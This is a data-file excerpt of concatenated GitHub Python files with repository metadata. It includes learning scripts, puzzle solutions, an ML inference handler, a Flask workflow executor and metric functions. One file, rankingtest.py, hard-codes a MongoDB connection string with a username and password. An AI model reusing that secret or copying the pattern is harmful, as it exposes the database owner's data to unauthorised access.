key-value-sini silmek\nmydict.popitem()\nprint(mydict)#Sonuncu daxil edilen key-i silmek\ndel mydict[\"model\"]\nprint(mydict)#model key-value cutunu silmek\n\"\"\"del mydict\nprint(mydict)\"\"\"#Dict-i tamamile silmek\nthisdict=mydict.copy()\nprint(thisdict)#Dict-i kopyalamaq\nthisdict=dict(mydict)\nprint(thisdict)#Dict constructorundan istifade ederek dict-i kopyalamaq\nmy_family={\n \"Father\":{\n \"name\":\"Oliver\",\n \"surname\":\"Abram\",\n \"age\":\"56\"\n },\n \"Child1\":{\n \"name\":\"Jacob\",\n \"surname\":\"Enfield\",\n \"age\":\"18\"\n },\n \"Child2\":{\n \"name\":\"William\",\n \"surname\":\"Harrington\",\n \"age\":\"21\"\n },\n \"Mother\":{\n \"name\":\"Ava\",\n \"surname\":\"Harrington\",\n \"age\":\"46\"\n }\n}\nprint(my_family)#nested dictionaries-in yaradilmasi\n\n\n\"\"\"Father\"={\n \"name\":\"Oliver\",\n \"surname\":\"Abram\",\n \"age\":\"56\"\n}\n\"Child1\"={\n \"name\":\"Jacob\",\n \"surname\":\"Enfield\",\n \"age\":\"18\"\n}\n\"Child2\"= {\n \"name\": \"William\",\n \"surname\": \"Harrington\",\n \"age\": \"21\"\n}\n\"Mother\"= {\n \"name\": \"Ava\",\n \"surname\": \"Harrington\",\n \"age\": \"46\"\n}\nmy_family={\n \"Father\":Father,\n \"Child1\":Child1,\n \"Child2\":Child2,\n \"Mother\":Mother\n}\nprint(my_family)\"\"\"#nested dictionaries-in yaradilmasinin diger yolu","repo_name":"H-Cavid/LearningCodes","sub_path":"PythinDictionaries.py","file_name":"PythinDictionaries.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17808906266","text":"from wikidata.client import Client\nfrom Archive.entity_graph import Node as Node\n\nclient = Client()\nentities = {}\nbase = len('http://www.wikidata.org/entity/')\n\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n\n\n\n\nfrom wikidata.client import Client\n\nclient = Client()\nentities = {}\nbase = len('http://www.wikidata.org/entity/')\nedges = []\n\n\ndef parse_file(file):\n nodes = []\n first_line_flag = False\n with open(file, \"r\") as f:\n for line in f.readlines():\n if not first_line_flag:\n first_line_flag = True\n else:\n line_split = line.split(',')\n if len(line_split) > 1 and line_split[0] != \"\":\n nodes.append(line_split[0][base:])\n\n temp_nodes = [node for node in nodes]\n for q_entity in nodes:\n entity = client.get(q_entity, load='true')\n att = (entity.attributes)['claims']\n\n if 'P31' in att:\n for inst in att['P31']:\n parent_id = inst['mainsnak']['datavalue']['value']['id']\n edges.append((parent_id, q_entity))\n if parent_id not in temp_nodes:\n temp_nodes.append(parent_id)\n\n if 'P279' in att:\n for inst in att['P279']:\n parent_id = inst['mainsnak']['datavalue']['value']['id']\n edges.append((parent_id, q_entity))\n if parent_id not in temp_nodes:\n temp_nodes.append(parent_id)\n return temp_nodes, edges\n\n\n\ndef file_runner():\n\n nodes_obj = {}\n edges_list_obj = []\n\n for i in range(12):\n file_name = \"/cs/usr/sofferam/Needle_project/data/query\" + str(i) + \".csv\"\n nodes_list, edges = parse_file(file_name)\n with open(\"data/edges_file.txt\", \"a+\") as f:\n f.write(\"\\n---------node file \" + str(i) + \"-----------------\\n\")\n f.write(str(nodes_list))\n f.write(\"\\n\")\n f.write(str(edges))\n f.write(\"\\n--------------------------\\n\")\n\n for node in nodes_list:\n try:\n entity = client.get(node, load='true')\n nodes_obj[node] = Node(node, entity.label.texts['en'])\n print(entity.label)\n except:\n pass\n\n for edge in edges:\n try:\n edges_list_obj.append((nodes_obj[edge[0]], nodes_obj[edge[1]]))\n except:\n pass\n\n G = nx.Graph()\n for node in nodes_obj.values():\n G.add_node(node)\n for edge in edges_list_obj:\n G.add_edge(edge[0], edge[1])\n nx.draw(G, with_labels=True)\n plt.show()\n\n\n# if _name_ == '_main_':\nfile_runner()\n","repo_name":"amsoff/NeedleProject-KG","sub_path":"Archive/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38186786151","text":"class Solution(object):\n def convertToTitle(self, num):\n \"\"\"\n :type columnNumber: int\n :rtype: str\n \"\"\"\n capitals = [chr(x) for x in range(ord(\"A\"), ord(\"Z\") + 1)]\n result = []\n while num > 0:\n result.append(capitals[(num - 1) % 26])\n num = (num - 1) // 26\n result.reverse()\n return \"\".join(result)\n","repo_name":"Jay4869/Data-Science","sub_path":"Leetcode/168. Excel Sheet Column Title.py","file_name":"168. Excel Sheet Column Title.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"72367241369","text":"import os\nimport json\nimport base64\nfrom io import BytesIO\n\nimport boto3\nimport mlflow\nimport numpy as np\nfrom PIL import Image\n\nfrom tensorflow.keras.applications.resnet_v2 import preprocess_input\nfrom tensorflow.keras.preprocessing import image\n\nclass_labels = {\n 0:'Speed limit (20km/h)',\n 1:'Speed limit (30km/h)', \n 2:'Speed limit (50km/h)', \n 3:'Speed limit (60km/h)', \n 4:'Speed limit (70km/h)', \n 5:'Speed limit (80km/h)', \n 6:'End of speed limit (80km/h)', \n 7:'Speed limit (100km/h)', \n 8:'Speed limit (120km/h)', \n 9:'No passing', \n 10:'No passing veh over 3.5 tons', \n 11:'Right-of-way at intersection', \n 12:'Priority road', \n 13:'Yield', \n 14:'Stop', \n 15:'No vehicles', \n 16:'Veh > 3.5 tons prohibited', \n 17:'No entry', \n 18:'General caution', \n 19:'Dangerous curve left', \n 20:'Dangerous curve right', \n 21:'Double curve', \n 22:'Bumpy road', \n 23:'Slippery road', \n 24:'Road narrows on the right', \n 25:'Road work', \n 26:'Traffic signals', \n 27:'Pedestrians', \n 28:'Children crossing', \n 29:'Bicycles crossing', \n 30:'Beware of ice/snow',\n 31:'Wild animals crossing', \n 32:'End speed + passing limits', \n 33:'Turn right ahead', \n 34:'Turn left ahead', \n 35:'Ahead only', \n 36:'Go straight or right', \n 37:'Go straight or left', \n 38:'Keep right', \n 39:'Keep left', \n 40:'Roundabout mandatory', \n 41:'End of no passing', \n 42:'End no passing veh > 3.5 tons',\n}\n\ndef get_model_location(run_id):\n model_location = os.getenv('MODEL_LOCATION')\n\n if model_location is not None:\n return model_location\n\n model_bucket = os.getenv('MODEL_BUCKET', 'mlops-final-models')\n experiment_id = os.getenv('MLFLOW_EXPERIMENT_ID', '1')\n\n # model_location = f\"models:/{model_name}/Production\"\n model_location = f's3://{model_bucket}/{experiment_id}/{run_id}/artifacts/model'\n\n return model_location\n\n\ndef load_model(run_id):\n model_path = get_model_location(run_id)\n model = mlflow.keras.load_model(\n model_uri=model_path,\n dst_path=\"../artifacts_local/\",\n )\n return model\n\ndef base64_decode_image(encoded_image):\n decoded_bytes = base64.b64decode(encoded_image)\n image = Image.open(BytesIO(decoded_bytes))\n return image\n\ndef base64_decode(encoded_data):\n decoded_data = base64.b64decode(encoded_data).decode('utf-8')\n sign_event = json.loads(decoded_data)\n return sign_event\n\n\nclass ModelService:\n def __init__(self, model, model_version=None, callbacks=None):\n self.model = model\n self.model_version = model_version\n self.callbacks = callbacks or []\n\n def predict(self, img):\n prediction = self.model.predict(img)\n predicted_class = class_labels[np.argmax(prediction, axis=1)[0]]\n return predicted_class + \" sign.\"\n\n def lambda_handler(self, event):\n # print(json.dumps(event))\n\n predictions_events = []\n\n for record in event['Records']:\n encoded_data = record['kinesis']['data']\n sign_event = base64_decode(encoded_data)\n\n sign = sign_event['sign']\n sign_id = sign_event['sign_id']\n\n sign_image = base64_decode_image(sign)\n image_array = image.img_to_array(sign_image)\n image_batch = np.expand_dims(sign_image, axis=0)\n normalized = preprocess_input(image_batch)\n\n prediction = self.predict(normalized)\n\n prediction_event = {\n 'model': 'sign-classifier',\n 'version': self.model_version,\n 'prediction': {'sign_prediction': prediction, 'sign_id': sign_id},\n }\n\n for callback in self.callbacks:\n callback(prediction_event)\n\n predictions_events.append(prediction_event)\n\n return {'predictions': predictions_events}\n\n\nclass KinesisCallback:\n def __init__(self, kinesis_client, prediction_stream_name):\n self.kinesis_client = kinesis_client\n self.prediction_stream_name = prediction_stream_name\n\n def put_record(self, prediction_event):\n sign_id = prediction_event['prediction']['sign_id']\n\n self.kinesis_client.put_record(\n StreamName=self.prediction_stream_name,\n Data=json.dumps(prediction_event),\n PartitionKey=str(sign_id),\n )\n\n\ndef create_kinesis_client():\n endpoint_url = os.getenv('KINESIS_ENDPOINT_URL')\n\n if endpoint_url is None:\n return boto3.client('kinesis')\n\n return boto3.client('kinesis', endpoint_url=endpoint_url)\n\n\ndef init(prediction_stream_name: str, run_id: str, test_run: bool):\n model = load_model(run_id)\n\n callbacks = []\n\n if not test_run:\n kinesis_client = create_kinesis_client()\n kinesis_callback = KinesisCallback(kinesis_client, prediction_stream_name)\n callbacks.append(kinesis_callback.put_record)\n\n model_service = ModelService(model=model, model_version=run_id, callbacks=callbacks)\n\n return model_service\n","repo_name":"drew-two/GTSRB-Traffic-Sign-Image-Recognition","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"3638400437","text":"\nimport threading\nimport time\nimport pymongo\nimport bson\nimport random\nfrom source.updater import universeupdater\nfrom source.Database import databasecontroller\nfrom source.model.user import *\n\n\nclient = pymongo.MongoClient(f\"mongodb+srv://game:deepflightisawesome@deepflight-cu0et.mongodb.net/test?retryWrites=true&authSource=admin\")\ndb = client[\"gamedb_test\"]\n\n\ndef insertTime(track, userId, time):\n track.times[str(userId)] = time\n newvalues = {\"$set\": {\"times\" : track.times}}\n db[\"tracks\"].update_one({\"_id\": bson.ObjectId(track._id)}, newvalues)\n\n\ndef createUsers(users):\n print(\"Creating users: \")\n userIds = {}\n for user in users:\n print(f\"\\t'{user.username}'... \", end=\"\")\n insertedId = db[\"users\"].insert_one({\"username\": user.username}).inserted_id\n userIds[user.username] = str(insertedId)\n print(f\"Created (id={insertedId})\")\n return userIds\n\n\n\ndef getCurrentTracks():\n currentRound = getCurrentRound()\n currentTrackIds = currentRound.trackIds\n\n tracks = []\n for track in databasecontroller.get_tracksObjectsList():\n if track._id in currentTrackIds:\n tracks.append(track)\n\n return tracks\n\n\ndef getCurrentRound():\n rounds = databasecontroller.get_roundsObjectList()\n currentTime = int(round(time.time() * 1000))\n\n # Check status of each round\n for thisround in rounds:\n # bad iterator name (thisround) is due to 'round' being a function\n\n if thisround.startDate < currentTime < thisround.endDate:\n return thisround\n\n\n\n\n\nprint(\"\\nSTARTING RANKING TEST!\\n\")\n\n# Starting Updater on seperate thread\n#thread = threading.Thread(target=universeupdater.startUpdater)\n#thread.start()\n\n\n#time.sleep(60)\nprint(\"STARTING TIME UPDATE!\")\n\ndatabasecontroller.initializeDatabase(testMode=True)\n\nuserIds = createUsers([\n User(\"kingkong123\"),\n User(\"hagrid4ever\"),\n User(\"doctorwhat\"),\n User(\"torben\")\n])\n\n\nwhile True:\n time.sleep(10)\n print(\"Adding new times:\")\n tracks = getCurrentTracks()\n for track in tracks:\n for userName, userId in userIds.items():\n trackTime = random.randint(10, 1000)\n insertTime(track, userId, trackTime)\n print(f\"\\tUpdated time: track='{track.name}', user={userName}, time={trackTime}\")","repo_name":"maltebp/DeepFlight","sub_path":"UniverseUpdater/test/rankingtest.py","file_name":"rankingtest.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27191763369","text":"import numpy as np\n\n\ndef preprocess_bva_data(pd_bva):\n pd_bva = add_rotation(pd_bva)\n pd_bva = add_midpoint(pd_bva)\n pd_bva = remove_unnecessary_columns(pd_bva)\n pd_bva = rename_columns(pd_bva)\n # Needs to be after column renaming because it removes position_x column which is renamed above\n # pd_bva = clear_out_of_arena_positions(pd_bva)\n return(pd_bva)\n\n\n# Removes any points that are out of constraints of the bva and replaces then with NAs\ndef clear_out_of_arena_positions(pd_bva):\n # potentially in case of out of bounds, remove both x and y\n pd_bva.position_x[np.abs(pd_bva.position_x) > 250] = np.nan\n pd_bva.position_x[np.abs(pd_bva.position_x) > 250] = np.nan\n return(pd_bva)\n\n\ndef add_rotation(pd_bva):\n x_cross, y_cross = calculate_perpendicular_cross(pd_bva.Left_x, pd_bva.Left_y,\n pd_bva.Right_x, pd_bva.Right_y,\n pd_bva.Front_x, pd_bva.Front_y)\n front_x, front_y = pd_bva.Front_x - x_cross, pd_bva.Front_y - y_cross\n zipped = list(zip(front_x, front_y))\n pd_bva['rotation_x'] = angle_between(zipped, [(0, 1)])\n return(pd_bva)\n\n\ndef add_midpoint(pd_bva):\n pd_bva['midpoint_x'] = (pd_bva.Right_x + pd_bva.Left_x + pd_bva.Front_x) / 3\n pd_bva['midpoint_y'] = (pd_bva.Right_y + pd_bva.Left_y + pd_bva.Front_y) / 3\n return pd_bva\n\n\n# Removes columns used only for calculation of rotation\ndef remove_unnecessary_columns(pd_bva, force=False):\n # checks if rotation has been calculated\n cols = ['Point_x', 'Point_y', 'Right_x', 'Right_y', 'Left_x', 'Left_y', 'Front_x', 'Front_y', 'timestamp_bva']\n if 'rotation_x' not in pd_bva.columns:\n Warning('You are deleting columns without calculating rotation first. \\\n set force to True if you want to really delete')\n if 'rotation_x' in pd_bva.columns or force:\n pd_bva = pd_bva.drop(cols, axis=1)\n return(pd_bva)\n\n\ndef rename_columns(pd_bva):\n pd_bva = pd_bva.rename(columns={\"midpoint_x\": 'position_x', 'midpoint_y': 'position_y'})\n return(pd_bva)\n\n\n# Calculates the perpendicular line to left and right point line which goes through front\ndef calculate_perpendicular_cross(line1_x, line1_y, line2_x, line2_y, origin_x, origin_y):\n k = (((line2_y-line1_y) * (origin_x-line1_x)) -\n ((line2_x-line1_x) * (origin_y-line1_y))) / \\\n (np.square(line2_y - line1_y) + np.square(line2_x-line1_x))\n x4 = origin_x - (k * (line2_y-line1_y))\n y4 = origin_y + (k * (line2_x-line1_x))\n return(x4, y4)\n\n\ndef calculate_perpendicular_cross_classical(line1_x, line1_y, line2_x, line2_y, origin_x, origin_y):\n slope = (line2_x - line1_x) / (line2_y - line1_y)\n b = line1_y + line1_x * slope\n perp_slope = (line1_y - line2_y) / (line2_x - line1_x)\n perp_b = origin_y + (perp_slope * origin_x) # linear coef B\n cross_x = (perp_b - b)/(slope-perp_slope)\n cross_y = perp_slope*cross_x + perp_b\n return(cross_x, cross_y)\n\n\n# p1 are lists of touples [(0,1),(1,0)]\ndef angle_between(p1, p2):\n x, y = zip(*p1[::1])\n ang1 = np.arctan2(x, y)\n x, y = zip(*p2[::1])\n ang2 = np.arctan2(x, y)\n degrees = np.rad2deg((ang1 - ang2) % (2 * np.pi))\n return(degrees)\n","repo_name":"hejtmy/bvareader","sub_path":"bvareader/new_bva/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23933713546","text":"# Author: Gil Ferreira Hoben\nimport numpy as np\nfrom itertools import permutations\n\ndef dbi_(labels, X, cluster_centre):\n \n permutation = permutations(np.unique(labels),2)\n\n # calculate all inter distances\n s = np.zeros((np.unique(labels).size))\n for label in np.unique(labels):\n\n s[label] = np.sqrt(((X[labels==label] - cluster_centre[label]) ** 2).sum(1)).mean()\n \n # initiate variables\n pair_i = None\n d = []\n r_ij= []\n \n # calculate the dbi for each permutation and group them up by cluster label \n for pair in permutation:\n \n m_i = np.sqrt(((cluster_centre[pair[0]] - cluster_centre[pair[1]])**2).sum(0))\n\n r_i = (s[pair[0]] + s[pair[1]]) / m_i\n \n \n # group up permutations (i.e. (1,2) and (1,3), but not (1,2) and (2,1))\n if pair[0] == pair_i or pair_i == None:\n r_ij.append(r_i) \n \n # get max r_i from db and reinitialize variable for new group of permutations\n # This is, the worst case scenario and is used in the original definition of DBI\n # https://en.wikipedia.org/wiki/Davies–Bouldin_index\n # can change definition here, e.g. (weighted) average d\n else: \n d.append(max(r_ij)) \n \n # new group\n r_ij = []\n r_ij.append(r_i)\n \n # update cluster ID that was processed\n pair_i = pair[0]\n \n # calculate DBI from db\n \n return sum(d) / len(d) ","repo_name":"gf712/Stats","sub_path":"Cluster_metrics/DBI.py","file_name":"DBI.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38384159349","text":"\n\nfrom functools import cmp_to_key\nfrom math import prod\nfrom typing import Union\n\nfrom aocpuzzle import AoCPuzzle\n\npair_type = Union[list[int], int]\n\n\nclass Puzzle13(AoCPuzzle):\n def common(self, input_data: list[str]) -> None:\n self.pairs = []\n self.packets = []\n\n for packet in range(0, len(input_data), 3):\n pair = list(map(eval, input_data[packet:packet + 2]))\n self.pairs.append(pair)\n self.packets.extend(pair)\n\n self.divider_packet_2 = [[2]]\n self.divider_packet_6 = [[6]]\n\n self.packets.append(self.divider_packet_2)\n self.packets.append(self.divider_packet_6)\n\n def is_left_val_smaller(self, left: int, right: int) -> int:\n return (left > right) - (left < right)\n\n def compare_list_packets(self, left: list[int], right: list[int]) -> int:\n for left_val, right_val in zip(left, right):\n is_left_val_smaller = self.compare_packets(left_val, right_val)\n\n if is_left_val_smaller != 0:\n return is_left_val_smaller\n\n return self.compare_packets(len(left), len(right))\n\n def compare_packets(self, left: pair_type, right: pair_type) -> int:\n if type(left) == int and type(right) == int:\n return self.is_left_val_smaller(left, right)\n\n left_list: list[int] = left if isinstance(left, list) else [left]\n right_list: list[int] = right if isinstance(right, list) else [right]\n\n return self.compare_list_packets(left_list, right_list)\n\n def part1(self) -> int:\n return sum([\n idx\n for idx, pair in enumerate(self.pairs, 1)\n if self.compare_packets(pair[0], pair[1]) == -1\n ])\n\n def part2(self) -> int:\n sorted_packets = sorted(self.packets, key=cmp_to_key(self.compare_packets))\n\n return prod([\n sorted_packets.index(self.divider_packet_2) + 1,\n sorted_packets.index(self.divider_packet_6) + 1,\n ])\n\n def test_cases(self, input_data: list[str]) -> int:\n tests: list[dict] = [\n {\n 'input_data': [\n '[1, 1, 3, 1, 1]',\n '[1, 1, 5, 1, 1]',\n '',\n '[[1], [2, 3, 4]]',\n '[[1], 4]',\n '',\n '[9]',\n '[[8, 7, 6]]',\n '',\n '[[4, 4], 4, 4]',\n '[[4, 4], 4, 4, 4]',\n '',\n '[7, 7, 7, 7]',\n '[7, 7, 7]',\n '',\n '[]',\n '[3]',\n '',\n '[[[]]]',\n '[[]]',\n '',\n '[1, [2, [3, [4, [5, 6, 7]]]], 8, 9]',\n '[1, [2, [3, [4, [5, 6, 0]]]], 8, 9]',\n ],\n 'part1': 13,\n 'part2': 140,\n },\n ]\n for test in tests:\n self.common(test['input_data'])\n assert self.part1() == test['part1']\n self.common(test['input_data'])\n assert self.part2() == test['part2']\n\n self.common(input_data)\n assert self.part1() == 5825\n self.common(input_data)\n assert self.part2() == 24477\n\n return len(tests) + 1\n","repo_name":"cpallapolu/advent-of-code","sub_path":"src/years/2022/13/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11673825870","text":"# futval.py\n# A program to compute the value of an investment\n# carried x number of years into the future\n\ndef main():\n print(\"This program calculates the future value of an investment\")\n print()\n\n principal = eval(input(\"Enter the initial principle: \"))\n apr = eval(input(\"Enter the annual interest rate: \"))\n years = eval(input(\"Enter the number of years: \"))\n\n for i in range(years):\n principal = principal * (1 + apr)\n\n\n print(\"The value in \", years, \"years is: \", principal)\n\nmain()","repo_name":"franklarios/pycompsci","sub_path":"chp2/futval.py","file_name":"futval.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38939394351","text":"\"\"\"\n3. 삽입 정렬\n 1) 삽입 정렬은 두번째 인덱스부터 시작\n 2) 해당 인덱스(key 값) 앞에 있는 데이터(B)부터 비교해서 Key 값이 더 작으면, B 값을 뒤 인덱스로 복사\n 3) 이를 Key 값이 더 큰 데이터를 만날때까지 반복, 그리고 큰 데이터를 만난 위치 바로 뒤에 key 값을 이동\n\"\"\"\nimport random\ndef insertion_sort(data) :\n for i in range(len(data) - 1) :\n for j in range(i + 1, 0, -1) :\n if data[j] < data[j-1] :\n data[j], data[j-1] = data[j-1], data[j] \n else :\n break\n return data\n\ndata_list = random.sample(range(100), 10)\n\nprint(insertion_sort(data_list))\n\"\"\" \n시간 복잡도 : O(n^2)\n n * (n - 1) / 2\n\"\"\"","repo_name":"ysm7663-jn/python","sub_path":"Algorithm_study/class/section11_Insertion_sort.py","file_name":"section11_Insertion_sort.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12022369169","text":"from kafka import KafkaProducer\nfrom datetime import datetime\nimport time, threading, csv\n\n\ndef todayString():\n return datetime.today().strftime('%Y-%m-%d')\n\n\ndef send_at(rate):\n # rand = random.Random() # docs say threadsafe, but construct one per thread anyway\n # producer = KafkaProducer(bootstrap_servers=['199.60.17.210:9092', '199.60.17.193:9092'])\n producer = KafkaProducer(bootstrap_servers=['localhost:9092'])\n topic1 = 'nlp-1'\n topic2 = 'mlnews-1'\n interval = 60\n sent_ml = False\n total_time = 0\n TW_DIR = '../static/data/'\n while True:\n print('start')\n msg = ''\n msg_ml = ''\n if total_time == 24 * 3600:\n sent_ml = False # send news at a new day to ml model\n total_time = 0 # reset total_time\n with open(TW_DIR + todayString() + '_data.csv') as f:\n rows = csv.reader(f, delimiter='\\n')\n for row in rows:\n msg += row[0]\n msg += ';'\n list_ml = row[0].split(',')\n msg_ml += list_ml[0] + ',' + list_ml[2]\n msg_ml += ';'\n # break\n msg = msg[:-1]\n msg_ml = msg_ml[:-1]\n # print(msg_ml)\n # x, y = data_point_gauss(rand)\n # msg = '%s %s' % (x, y)\n producer.send(topic1, msg.encode(\"utf-8\")) # .encode('ascii')\n if not sent_ml:\n producer.send(topic2, msg_ml.encode(\"utf-8\"))\n sent_ml = True\n total_time += interval\n time.sleep(interval)\n\n\nif __name__ == \"__main__\":\n #for rate in rates:\n rate = 1\n server_thread = threading.Thread(target=send_at, args=(rate,))\n server_thread.setDaemon(True)\n server_thread.start()\n\n while 1:\n time.sleep(1)\n","repo_name":"xiangdaniel/News-Monitor","sub_path":"main/kafka_producer.py","file_name":"kafka_producer.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"34486112802","text":"from dotenv import load_dotenv\nfrom flask import Flask, request\nimport requests\nimport os\nimport json\nimport re\n\n\napp = Flask(__name__)\n\nload_dotenv()\n\nFLOWS_ENDPOINT_URL = os.environ.get('FLOWS_ENDPOINT_URL')\nEXECUTOR_ENDPOINT_URL = os.environ.get('EXECUTOR_ENDPOINT_URL')\n\nSTRING_REPLACEMENT_MATCHER = re.compile(r'{{\\s*([^\\s]+)\\s*}}')\n\n\n@app.post('/executor/onNodeExecutionFinish')\ndef on_node_execution_finish():\n content = request.json\n\n flowId = content['flowId']\n flowInstanceId = content['flowInstanceId']\n currentNodeId = content['nodeId']\n result = content['result']\n status = result['status']\n flowOutput = result['output']\n\n print('Node', currentNodeId, 'finished executing with status', status)\n\n # Read the flow's data\n req = requests.get(FLOWS_ENDPOINT_URL + '/flows/' + flowId)\n flow = json.loads(req.content)\n\n successorNodeIds = set()\n\n data = flow['date']\n\n edges = data['edges']\n for edge in edges:\n if edge['source'] == currentNodeId:\n successorNodeIds.add(edge['target'])\n\n print('Found', len(successorNodeIds), 'successor nodes')\n\n # Check if this was the flow's last step\n if False:\n requests.put(FLOWS_ENDPOINT_URL + '/flows/' + flowId +\n '/instances/' + flowInstanceId, params={'status': 'finished'})\n\n successorNodes = []\n\n nodes = data['nodes']\n for node in nodes:\n if node['id'] in successorNodeIds:\n successorNodes.append(node)\n\n for node in successorNodes:\n nodeId = node['id']\n print('Beginning execution of successor node', nodeId)\n params = {\n 'flowId': flowId,\n 'flowInstanceId': flowInstanceId,\n 'nodeId': nodeId,\n 'input': flowOutput\n }\n requests.post(EXECUTOR_ENDPOINT_URL +\n '/executor/execute', json=params)\n\n return 'OK'\n\n\n@app.post('/executor/execute')\ndef execute_node():\n content = request.json\n\n flowId = content['flowId']\n flowInstanceId = content['flowInstanceId']\n nodeId = content['nodeId']\n input = content['input']\n\n print('Node', nodeId, 'started executing')\n\n print(input)\n # Read the flow's data\n req = requests.get(FLOWS_ENDPOINT_URL + '/flows/' + flowId)\n flow = json.loads(req.content)\n\n data = flow['date']\n nodes = data['nodes']\n\n # Get the current node\n currentNode = None\n for node in nodes:\n if node['id'] == nodeId:\n currentNode = node\n break\n\n if not currentNode:\n return 'Error: cannot find node to be executed', 404\n\n currentNodeData = currentNode['data']\n nodeType = currentNodeData['nodeType']\n\n if nodeType == 'sendMailNode':\n subject = currentNodeData['subject']\n message = currentNodeData['message']\n destinationAddress = currentNodeData['destinationAddress']\n\n replacement_keys = STRING_REPLACEMENT_MATCHER.findall(subject)\n for key in replacement_keys:\n value = input[key]\n subject = re.sub(fr'{{{{\\s*{key}\\s*}}}}', value, subject)\n\n replacement_keys = STRING_REPLACEMENT_MATCHER.findall(message)\n for key in replacement_keys:\n value = input[key]\n message = re.sub(fr'{{{{\\s*{key}\\s*}}}}', value, message)\n\n replacement_keys = STRING_REPLACEMENT_MATCHER.findall(\n destinationAddress)\n for key in replacement_keys:\n value = input[key]\n destinationAddress = re.sub(\n fr'{{{{\\s*{key}\\s*}}}}', value, destinationAddress)\n\n params = {\n 'message_title': subject,\n 'message_body': message,\n 'sender': 'Autoflow Executor',\n 'recipients': [destinationAddress]\n }\n print(params)\n res = requests.post(FLOWS_ENDPOINT_URL + '/mail', json=params)\n # TODO check response\n print(res)\n else:\n raise NotImplementedError(f\"unknown node type: '{nodeType}'\")\n\n params = {\n 'flowId': flowId,\n 'flowInstanceId': flowInstanceId,\n 'nodeId': nodeId,\n 'result': {\n 'status': 'success',\n 'output': {}\n }\n }\n requests.post(EXECUTOR_ENDPOINT_URL +\n '/executor/onNodeExecutionFinish', json=params)\n\n return 'OK'\n\n\nif __name__ == '__main__':\n app.run(host='::', port=5010, debug=True)\n","repo_name":"GabrielMajeri/smarthack-2022","sub_path":"backend/executor/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43602754135","text":"import numpy as np\n\nclass PCK(object):\n def __init__(self, targets, preds, pck_threshold=5):\n self.targets = targets\n self.preds = preds\n self.pck_threshold = pck_threshold\n \n def get_heatmap_accuracy(self):\n pred = np.unravel_index(self.preds.argmax(), self.preds.shape)\n targets = np.unravel_index(self.targets.argmax(), self.targets.shape)\n\n dist = math.sqrt((pred[0] - gt[0]) ** 2 + (pred[1] - gt[1]) ** 2)\n if dist <= self.pck_threshold:\n return 1, dist, (pred[0], pred[1])\n return 0, dist, (pred[0], pred[1])\n","repo_name":"talsperre/hrnet-pytorch","sub_path":"pose_estimation/utils/metrics/PCK.py","file_name":"PCK.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10267125512","text":"class Solution(object):\n def numIslands2(self, m, n, positions):\n \"\"\"\n :type m: int\n :type n: int\n :type positions: List[List[int]]\n :rtype: List[int]\n \"\"\"\n class DSU:\n def __init__(self, length) -> None:\n self.root = [i for i in range(length)]\n self.island = [False] * length\n self.rank = [1] * length\n self.count = 0\n \n def find(self, x):\n if x == self.root[x]:\n return x\n self.root[x] = self.find(self.root[x])\n return self.root[x]\n \n def union(self, x, y):\n rootX = self.find(x)\n rootY = self.find(y)\n if rootX != rootY:\n if self.rank[rootX] > self.rank[rootY]:\n self.root[rootY] = rootX\n elif self.rank[rootY] > self.rank[rootX]:\n self.root[rootX] = rootY\n else:\n self.root[rootY] = rootX\n self.rank[rootX] += 1\n self.count -= 1\n def addLand(self, x):\n self.island[x] = True\n self.count += 1\n def index(x, y):\n return x*n+y\n \n dsu = DSU(m*n)\n res = []\n for position in positions:\n x, y = position[0], position[1]\n dsu.addLand(index(x, y))\n if x -1 >= 0 and dsu.island(index(x-1, y)):\n dsu.union(index(x, y), index(x-1, y))\n if x + 1< m and dsu.island(index(x+1, y)):\n dsu.union(index(x, y), index(x+1, y))\n if y - 1 >= 0 and dsu.island(index(x, y-1)):\n dsu.union(index(x, y), index(x, y-1))\n if y+1 < m and dsu.island(index(x, y+1)):\n dsu.union(index(x, y), index(x, y+1))\n res.append(dsu.count)\n \n return res\n","repo_name":"datacore-andyzhu/leetcode","sub_path":"305.number-of-islands-ii.py","file_name":"305.number-of-islands-ii.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19212857696","text":"# Задача 18: Требуется найти в массиве A[1..N] самый близкий по величине элемент к заданному числу X.\n# Пользователь вводит натуральное число N – количество элементов в массиве и число, которое необходимо проверить - X.\n# Заполните массив случайными натуральными числами от 1 до N.\n# Выведите, ближайший к X элемент. Если есть несколько элементов, которые равноудалены от X, выведите наименьший по величине.\n# Ввод: 